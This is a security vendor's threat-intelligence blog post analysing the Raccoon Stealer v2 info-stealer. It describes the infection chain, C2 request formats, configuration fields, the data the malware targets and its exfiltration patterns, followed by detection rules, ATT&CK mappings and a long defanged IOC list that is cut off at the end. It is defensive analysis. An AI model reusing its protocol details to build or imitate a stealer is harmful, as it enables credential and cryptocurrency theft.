ブログ
/
Network
/
November 8, 2022

How Raccoon Stealer v2 Infects Systems

Learn about Raccoon Stealer v2's infection process and its implications for cybersecurity. Discover effective strategies to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
08
Nov 2022

Raccoon Stealer Malware

Since the release of version 2 of Raccoon Stealer in May 2022, Darktrace has observed huge volumes of Raccoon Stealer v2 infections across its client base. The info-stealer, which seeks to obtain and then exfiltrate sensitive data saved on users’ devices, displays a predictable pattern of network activity once it is executed. In this blog post, we will provide details of this pattern of activity, with the goal of helping security teams to recognize network-based signs of Raccoon Stealer v2 infection within their own networks. 

What is Raccoon Stealer?

Raccoon Stealer is a classic example of information-stealing malware, which cybercriminals typically use to gain possession of sensitive data saved in users’ browsers and cryptocurrency wallets. In the case of browsers, targeted data typically includes cookies, saved login details, and saved credit card details. In the case of cryptocurrency wallets (henceforth, ‘crypto-wallets’), targeted data typically includes public keys, private keys, and seed phrases [1]. Once sensitive browser and crypto-wallet data is in the hands of cybercriminals, it will likely be used to conduct harmful activities, such as identity theft, cryptocurrency theft, and credit card fraud.

How do you obtain Raccoon Stealer?

Like most info-stealers, Raccoon Stealer is purchasable. The operators of Raccoon Stealer sell Raccoon Stealer samples to their customers (called ‘affiliates’), who then use the info-stealer to gain possession of sensitive data saved on users’ devices. Raccoon Stealer affiliates typically distribute their samples via SEO-promoted websites providing free or cracked software. 

Is Raccoon Stealer Still Active?

On the 25th of March 2022, the operators of Raccoon Stealer announced that they would be suspending their operations because one of their core developers had been killed during the Russia-Ukraine conflict [2]. The presence of the hardcoded RC4 key ‘edinayarossiya’ (Russian for ‘United Russia’) within observed Raccoon Stealer v2 samples [3] provides potential evidence of the Raccoon Stealer operators’ allegiances.

Recent details shared by the US Department of Justice [4]/[5] indicate that it was in fact the arrest, rather than the death, of an operator which led the Raccoon Stealer team to suspend their operations [6]. As a result of the FBI, along with law enforcement partners in Italy and the Netherlands, dismantling Raccoon Stealer infrastructure in March 2022 [4], the Raccoon Stealer team was forced to build a new version of the info-stealer.  

On the 17th May 2022, the completion of v2 of the info-stealer was announced on the Raccoon Stealer Telegram channel [7].  Since its release in May 2022, Raccoon Stealer v2 has become extremely popular amongst cybercriminals. The prevalence of Raccoon Stealer v2 in the wider landscape has been reflected in Darktrace’s client base, with hundreds of infections being observed within client networks on a monthly basis.   

Since Darktrace’s SOC first saw a Raccoon Stealer v2 infection on the 22nd May 2022, the info-stealer has undergone several subtle changes. However, the info-stealer’s general pattern of network activity has remained essentially unchanged.  

How Does Raccoon Stealer v2 Infection Work?

A Raccoon Stealer v2 infection typically starts with a user attempting to download cracked or free software from an SEO-promoted website. Attempting to download software from one of these cracked/free software websites redirects the user’s browser (typically via several .xyz or .cfd endpoints) to a page providing download instructions. In May, June, and July, many of the patterns of download behavior observed by Darktrace’s SOC matched the pattern of behavior observed in a cracked software campaign reported by Avast in June [8].   

webpage whose download instructions led to a Raccoon Stealer v2
Figure 1: Above is a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on Discord CDN
example of a webpage whose download instructions led to a Raccoon Stealer v2
Figure 2: Above is an example of a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on Bitbucket
example of a webpage whose download instructions led to a Raccoon Stealer v2
Figure 3: Above is an example of a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on MediaFire

Following the instructions on the download instruction page causes the user’s device to download a password-protected RAR file from a file storage service such as ‘cdn.discordapp[.]com’, ‘mediafire[.]com’, ‘mega[.]nz’, or ‘bitbucket[.]org’. Opening the downloaded file causes the user’s device to execute Raccoon Stealer v2. 

The Event Log for an infected device,
Figure 4: The Event Log for an infected device, taken from Darktrace’s Threat Visualiser interface, shows a device contacting two cracked software websites (‘crackedkey[.]org’ and ‘crackedpc[.]co’) before contacting a webpage (‘premiumdownload[.]org) providing instructions to download Raccoon Stealer v2 from Bitbucket

Once Raccoon Stealer v2 is running on a device, it will make an HTTP POST request with the target URI ‘/’ and an unusual user-agent string (such as ‘record’, ‘mozzzzzzzzzzz’, or ‘TakeMyPainBack’) to a C2 server. This POST request consists of three strings: a machine GUID, a username, and a 128-bit RC4 key [9]. The posted data has the following form:

machineId=X | Y & configId=Z (where X is a machine GUID, Y is a username and Z is a 128-bit RC4 key) 

PCAP showing a device making an HTTP POST request with the User Agent header ‘record’ 
Figure 5:PCAP showing a device making an HTTP POST request with the User Agent header ‘record’ 
PCAP showing a device making an HTTP POST request with the User Agent header ‘mozzzzzzzzzzz’
Figure 6: PCAP showing a device making an HTTP POST request with the User Agent header ‘mozzzzzzzzzzz’
PCAP showing a device making an HTTP POST request with the User Agent header ‘TakeMyPainBack’
Figure 7: PCAP showing a device making an HTTP POST request with the User Agent header ‘TakeMyPainBack’

The C2 server responds to the info-stealer’s HTTP POST request with custom-formatted configuration details. These configuration details consist of fields which tell the info-stealer what files to download, what data to steal, and what target URI to use in its subsequent exfiltration POST requests. Below is a list of the fields Darktrace has observed in the configuration details retrieved by Raccoon Stealer v2 samples:

  • a ‘libs_mozglue’ field, which specifies a download address for a Firefox library named ‘mozglue.dll’
  • a ‘libs_nss3’ field, which specifies a download address for a Network System Services (NSS) library named ‘nss3.dll’ 
  • a ‘libs_freebl3’ field, which specifies a download address for a Network System Services (NSS) library named ‘freebl3.dll’
  • a ‘libs_softokn3’ field, which specifies a download address for a Network System Services (NSS) library named ‘softokn3.dll’
  • a ‘libs_nssdbm3’ field, which specifies a download address for a Network System Services (NSS) library named ‘nssdbm3.dll’
  • a ‘libs_sqlite3’ field, which specifies a download address for a SQLite command-line program named ‘sqlite3.dll’
  • a ‘libs_ msvcp140’ field, which specifies a download address for a Visual C++ runtime library named ‘msvcp140.dll’
  • a ‘libs_vcruntime140’ field, which specifies a download address for a Visual C++ runtime library named ‘vcruntime140.dll’
  • a ‘ldr_1’ field, which specifies the download address for a follow-up payload for the sample to download 
  • ‘wlts_X’ fields (where X is the name of a crypto-wallet application), which specify data for the sample to obtain from the specified crypto-wallet application
  • ‘ews_X’ fields (where X is the name of a crypto-wallet browser extension), which specify data for the sample to obtain from the specified browser extension
  • ‘xtntns_X’ fields (where X is the name of a password manager browser extension), which specify data for the sample to obtain from the specified browser extension
  • a ‘tlgrm_Telegram’ field, which specifies data for the sample to obtain from the Telegram Desktop application 
  • a ‘grbr_Desktop’ field, which specifies data within a local ‘Desktop’ folder for the sample to obtain 
  • a ‘grbr_Documents’ field, which specifies data within a local ‘Documents’ folder for the sample to obtain
  • a ‘grbr_Recent’ field, which specifies data within a local ‘Recent’ folder for the sample to obtain
  • a ‘grbr_Downloads’ field, which specifies data within a local ‘Downloads’ folder for the sample to obtain
  • a ‘sstmnfo_System Info.txt’ field, which specifies whether the sample should gather and exfiltrate a profile of the infected host 
  • a ‘scrnsht_Screenshot.jpeg’ field, which specifies whether the sample should take and exfiltrate screenshots of the infected host
  • a ‘token’ field, which specifies a 32-length string of hexadecimal digits for the sample to use as the target URI of its HTTP POST requests containing stolen data 

After retrieving its configuration data, Raccoon Stealer v2 downloads the library files specified in the ‘libs_’ fields. Unusual user-agent strings (such as ‘record’, ‘qwrqrwrqwrqwr’, and ‘TakeMyPainBack’) are used in the HTTP GET requests for these library files. In all Raccoon Stealer v2 infections seen by Darktrace, the paths of the URLs specified in the ‘libs_’ fields have the following form:

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/X (where X is the name of the targeted DLL file) 

Advanced Search logs for an infected host
Figure 8: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘record’ for DLL files
Advanced Search logs for an infected host
Figure 9: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘qwrqrwrqwrqwr’ for DLL files
Advanced Search logs for an infected host
Figure 10: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘TakeMyPainBack’ for DLL files

Raccoon Stealer v2 uses the DLLs which it downloads to gain access to sensitive data (such as cookies, credit card details, and login details) saved in browsers running on the infected host.  

Depending on the data provided in the configuration details, Raccoon Stealer v2 will typically seek to obtain, in addition to sensitive data saved in browsers, the following information:

  • Information about the Operating System and applications installed on the infected host
  • Data from specified crypto-wallet software
  • Data from specified crypto-wallet browser extensions
  • Data from specified local folders
  • Data from Telegram Desktop
  • Data from specified password manager browser extensions
  • Screenshots of the infected host 

Raccoon Stealer v2 exfiltrates the data which it obtains to its C2 server by making HTTP POST requests with unusual user-agent strings (such as ‘record’, ‘rc2.0/client’, ‘rqwrwqrqwrqw’, and ‘TakeMyPainBack’) and target URIs matching the 32-length string of hexadecimal digits specified in the ‘token’ field of the configuration details. The stolen data exfiltrated by Raccoon Stealer typically includes files named ‘System Info.txt’, ‘---Screenshot.jpeg’, ‘\cookies.txt’, and ‘\passwords.txt’. 

Advanced Search logs for an infected host
Figure 11: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating files named ‘System Info.txt’ and ‘---Screenshot.jpeg’
Advanced Search logs for an infected host
Figure 12: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating a file named ‘System Info.txt’ 
Advanced Search logs for an infected host
Figure 13: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating files named ‘System Info.txt’, ‘\cookies.txt’ and ‘\passwords.txt’
Advanced Search logs for an infected host
Figure 14: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating a file named ‘System Info.txt’

If a ‘ldr_1’ field is present in the retrieved configuration details, then Raccoon Stealer will complete its operation by downloading the binary file specified in the ‘ldr_1’ field. In all observed cases, the paths of the URLs specified in the ‘ldr_1’ field end in a sequence of digits, followed by ‘.bin’. The follow-up payload seems to vary between infections, likely due to this additional-payload feature being customizable by Raccoon Stealer affiliates. In many cases, the info-stealer, CryptBot, was delivered as the follow-up payload. 

Darktrace Coverage of Raccoon Stealer

Once a user’s device becomes infected with Raccoon Stealer v2, it will immediately start to communicate over HTTP with a C2 server. The HTTP requests made by the info-stealer have an empty Host header (although Host headers were used by early v2 samples) and highly unusual User Agent headers. When Raccoon Stealer v2 was first observed in May 2022, the user-agent string ‘record’ was used in its HTTP requests. Since then, it appears that the operators of Raccoon Stealer have made several changes to the user-agent strings used by the info-stealer,  likely in an attempt to evade signature-based detections. Below is a timeline of the changes to the info-stealer’s user-agent strings, as observed by Darktrace’s SOC:

  • 22nd May 2022: Samples seen using the user-agent string ‘record’
  • 2nd July 2022: Samples seen using the user-agent string ‘mozzzzzzzzzzz’
  • 29th July 2022: Samples seen using the user-agent string ‘rc2.0/client’
  • 10th August 2022: Samples seen using the user-agent strings ‘qwrqrwrqwrqwr’ and ‘rqwrwqrqwrqw’
  • 16th Sep 2022: Samples seen using the user-agent string ‘TakeMyPainBack’

The presence of these highly unusual user-agent strings within infected devices’ HTTP requests causes the following Darktrace DETECT/Network models to breach:

  • Device / New User Agent
  • Device / New User Agent and New IP
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Device / Three or More New User Agents

These DETECT models look for devices making HTTP requests with unusual user-agent strings, rather than specific user-agent strings which are known to be malicious. This method of detection enables the models to continually identify Raccoon Stealer v2 HTTP traffic, despite the changes made to the info-stealer’s user-agent strings.   

After retrieving configuration details from a C2 server, Raccoon Stealer v2 samples make HTTP GET requests for several DLL libraries. Since these GET requests are directed towards highly unusual IP addresses, the downloads of the DLLs cause the following DETECT models to breach:

  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Multiple EXE from Rare External Locations

Raccoon Stealer v2 samples send data to their C2 server via HTTP POST requests with an absent Host header. Since these POST requests lack a Host header and have a highly unusual destination IP, their occurrence causes the following DETECT model to breach:

  • Anomalous Connection / Posting HTTP to IP Without Hostname

Certain Raccoon Stealer v2 samples download (over HTTP) a follow-up payload once they have exfiltrated data. Since the target URIs of the HTTP GET requests made by v2 samples end in a sequence of digits followed by ‘.bin’, the samples’ downloads of follow-up payloads cause the following DETECT model to breach:

  • Anomalous File / Numeric File Download

If Darktrace RESPOND/Network is configured within a customer’s environment, then Raccoon Stealer v2 activity should cause the following inhibitive actions to be autonomously taken on infected systems: 

  • Enforce pattern of life — This action results in a device only being able to make connections which are normal for it to make
  • Enforce group pattern of life — This action results in a device only being able to make connections which are normal for it or any of its peers to make
  • Block matching connections — This action results in a device being unable to make connections to particular IP/Port pairs
  • Block all outgoing traffic — This action results in a device being unable to make any connections 
The Event Log for an infected device
Figure 15: The Event Log for an infected device, taken from Darktrace’s Threat Visualiser interface, shows Darktrace RESPOND taking inhibitive actions in response to the HTTP activities of a Raccoon Stealer v2 sample downloaded from MediaFire

Given that Raccoon Stealer v2 infections move extremely fast, with the time between initial infection and data exfiltration sometimes less than a minute, the availability of Autonomous Response technology such as Darktrace RESPOND is vital for the containment of Raccoon Stealer v2 infections.  

Timeline of Darktrace stopping raccoon stealer.
Figure 16: Figure displaying the steps of a Raccoon Stealer v2 infection, along with the corresponding Darktrace detections

Conclusion

Since the release of Raccoon Stealer v2 back in 2022, the info-stealer has relentlessly infected the devices of unsuspecting users. Once the info-stealer infects a user’s device, it retrieves and then exfiltrates sensitive information within a matter of minutes. The distinctive pattern of network behavior displayed by Raccoon Stealer v2 makes the info-stealer easy to spot. However, the changes which the Raccoon Stealer operators make to the User Agent headers of the info-stealer’s HTTP requests make anomaly-based methods key for the detection of the info-stealer’s HTTP traffic. The operators of Raccoon Stealer can easily change the superficial features of their malware’s C2 traffic, however, they cannot easily change the fact that their malware causes highly unusual network behavior. Spotting this behavior, and then autonomously responding to it, is likely the best bet which organizations have at stopping a Raccoon once it gets inside their networks.  

Thanks to the Threat Research Team for its contributions to this blog.

References

[1] https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/

[2] https://twitter.com/3xp0rtblog/status/1507312171914461188

[3] https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0

[4] https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation

[5] https://www.youtube.com/watch?v=Fsz6acw-ZJ

[6] https://riskybiznews.substack.com/p/raccoon-stealer-dev-didnt-die-in

[7] https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d

[8] https://blog.avast.com/fakecrack-campaign

[9] https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/

Appendices

MITRE ATT&CK Mapping

Resource Development

• T1588.001 — Obtain Capabilities: Malware

• T1608.001 — Stage Capabilities: Upload Malware

• T1608.005 — Stage Capabilities: Link Target

• T1608.006 — Stage Capabilities: SEO Poisoning

Execution

•  T1204.002 — User Execution: Malicious File

Credential Access

• T1555.003 — Credentials from Password Stores:  Credentials from Web Browsers

• T1555.005 — Credentials from Password Stores:  Password Managers

• T1552.001 — Unsecured Credentials: Credentials  In Files

Command and Control

•  T1071.001 — Application Layer Protocol: Web Protocols

•  T1105 — Ingress Tool Transfer

IOCS

Type

IOC

Description

User-Agent String

record

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

mozzzzzzzzzzz

String used inUser Agent header of Raccoon Stealer v2’s HTTP requests

User-Agent String

rc2.0/client

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

qwrqrwrqwrqwr

String used in  User Agent header of Raccoon Stealer v2’s HTTP requests

User-Agent String

rqwrwqrqwrqw

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

TakeMyPainBack

String used in  User Agent header of Raccoon Stealer v2’s HTTP requests

Domain Name

brain-lover[.]xyz  

Raccoon Stealer v2 C2 infrastructure

Domain  Name

polar-gift[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

cool-story[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

fall2sleep[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

broke-bridge[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

use-freedom[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

just-trust[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

soft-viper[.]site

Raccoon Stealer  v2 C2 infrastructure

Domain Name

tech-lover[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

heal-brain[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

love-light[.]xyz

Raccoon Stealer v2 C2 infrastructure

IP  Address

104.21.80[.]14

Raccoon Stealer  v2 C2 infrastructure

IP Address

107.152.46[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

135.181.147[.]255

Raccoon Stealer  v2 C2 infrastructure

IP Address

135.181.168[.]157

Raccoon Stealer v2 C2 infrastructure

IP  Address

138.197.179[.]146

Raccoon Stealer  v2 C2 infrastructure

IP Address

141.98.169[.]33

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.170[.]100

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.170[.]175

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.170[.]98

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.173[.]33

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.173[.]72

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.247[.]175

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.247[.]177

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.70.125[.]95

Raccoon Stealer v2 C2 infrastructure

IP  Address

152.89.196[.]234

Raccoon Stealer  v2 C2 infrastructure

IP Address

165.225.120[.]25

Raccoon Stealer v2 C2 infrastructure

IP  Address

168.100.10[.]238

Raccoon Stealer  v2 C2 infrastructure

IP Address

168.100.11[.]23

Raccoon Stealer v2 C2 infrastructure

IP  Address

168.100.9[.]234

Raccoon Stealer  v2 C2 infrastructure

IP Address

170.75.168[.]118

Raccoon Stealer v2 C2 infrastructure

IP  Address

172.67.173[.]14

Raccoon Stealer  v2 C2 infrastructure

IP Address

172.86.75[.]189

Raccoon Stealer v2 C2 infrastructure

IP  Address

172.86.75[.]33

Raccoon Stealer  v2 C2 infrastructure

IP Address

174.138.15[.]216

Raccoon Stealer v2 C2 infrastructure

IP  Address

176.124.216[.]15

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.106.92[.]14

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.173.34[.]161

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.173.34[.]161  

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.225.17[.]198

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.225.19[.]190

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.225.19[.]229

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.53.46[.]103

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.53.46[.]76

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.53.46[.]77

Raccoon Stealer v2 C2 infrastructure

IP  Address

188.119.112[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

190.117.75[.]91

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.106.191[.]182

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.149.129[.]135

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.149.129[.]144

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.149.180[.]210

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.149.185[.]192

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.233.193[.]50

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]17

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]192

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]213

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]214

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]215

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]26

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]45

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.56.146[.]177

Raccoon Stealer  v2 C2 infrastructure

IP Address

194.180.174[.]180

Raccoon Stealer v2 C2 infrastructure

IP  Address

195.201.148[.]250

Raccoon Stealer  v2 C2 infrastructure

IP Address

206.166.251[.]156

Raccoon Stealer v2 C2 infrastructure

IP  Address

206.188.196[.]200

Raccoon Stealer  v2 C2 infrastructure

IP Address

206.53.53[.]18

Raccoon Stealer v2 C2 infrastructure

IP  Address

207.154.195[.]173

Raccoon Stealer  v2 C2 infrastructure

IP Address

213.252.244[.]2

Raccoon Stealer v2 C2 infrastructure

IP  Address

38.135.122[.]210

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.10.20[.]248

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.11.19[.]99

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]110

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.133.216[.]145

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]148

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.133.216[.]249

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]71

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.140.146[.]169

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.140.147[.]245

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.212[.]100

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.142.213[.]24

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.215[.]91

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.142.215[.]91  

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.215[.]92

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.144.29[.]18

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.144.29[.]243

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.15.156[.]11

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.15.156[.]2

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.15.156[.]31

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.15.156[.]31

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.150.67[.]156

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.153.230[.]183

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.153.230[.]228

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.159.251[.]163

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.159.251[.]164

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.61.136[.]67

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.61.138[.]162

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.67.228[.]8

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.67.231[.]202

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.67.34[.]152

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.67.34[.]234

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.144[.]187

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.144[.]54

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.144[.]55

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.145[.]174

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.145[.]83

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.147[.]39

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.147[.]79

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.84.0.152

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.86.86[.]78

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.54[.]110

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.54[.]110

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.54[.]95

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]115

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]117

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]193

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]198

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]20

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.92.156[.]150

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]154

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.36[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]231

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.36[.]232

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]233

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.39[.]34

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.39[.]74

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.39[.]75

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.39[.]77

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.118[.]33

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.176[.]62

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]217

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]234

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]43

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]47

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]92

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]98

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.22[.]142

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.23[.]100

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.23[.]25

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.23[.]76

Raccoon Stealer v2 C2 infrastructure

IP  Address

51.195.166[.]175

Raccoon Stealer  v2 C2 infrastructure

IP Address

51.195.166[.]176

Raccoon Stealer v2 C2 infrastructure

IP  Address

51.195.166[.]194

Raccoon Stealer  v2 C2 infrastructure

IP Address

51.81.143[.]169

Raccoon Stealer v2 C2 infrastructure

IP  Address

62.113.255[.]110

Raccoon Stealer  v2 C2 infrastructure

IP Address

65.109.3[.]107

Raccoon Stealer v2 C2 infrastructure

IP  Address

74.119.192[.]56

Raccoon Stealer  v2 C2 infrastructure

IP Address

74.119.192[.]73

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.232.39[.]101

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.73.133[.]0

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.73.133[.]4

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.73.134[.]45

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.75.230[.]25

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.75.230[.]39

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.75.230[.]70

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.75.230[.]93

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.100[.]101

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]12

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.102[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]44

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.102[.]57

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.103[.]31

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.73[.]154

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.73[.]213

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.73[.]32

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.74[.]67

Raccoon Stealer  v2 C2 infrastructure

IP Address

78.159.103[.]195

Raccoon Stealer v2 C2 infrastructure

IP  Address

78.159.103[.]196

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.66.87[.]23

Raccoon Stealer v2 C2 infrastructure

IP  Address

80.66.87[.]28

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.71.157[.]112

Raccoon Stealer v2 C2 infrastructure

IP  Address

80.71.157[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.92.204[.]202

Raccoon Stealer v2 C2 infrastructure

IP  Address

87.121.52[.]10

Raccoon Stealer  v2 C2 infrastructure

IP Address

88.119.175[.]187

Raccoon Stealer v2 C2 infrastructure

IP  Address

89.185.85[.]53

Raccoon Stealer  v2 C2 infrastructure

IP Address

89.208.107[.]42

Raccoon Stealer v2 C2 infrastructure

IP  Address

89.39.106[.]78

Raccoon Stealer  v2 C2 infrastructure

IP Address

91.234.254[.]126

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.104[.]16

Raccoon Stealer  v2 C2 infrastructure

IP Address

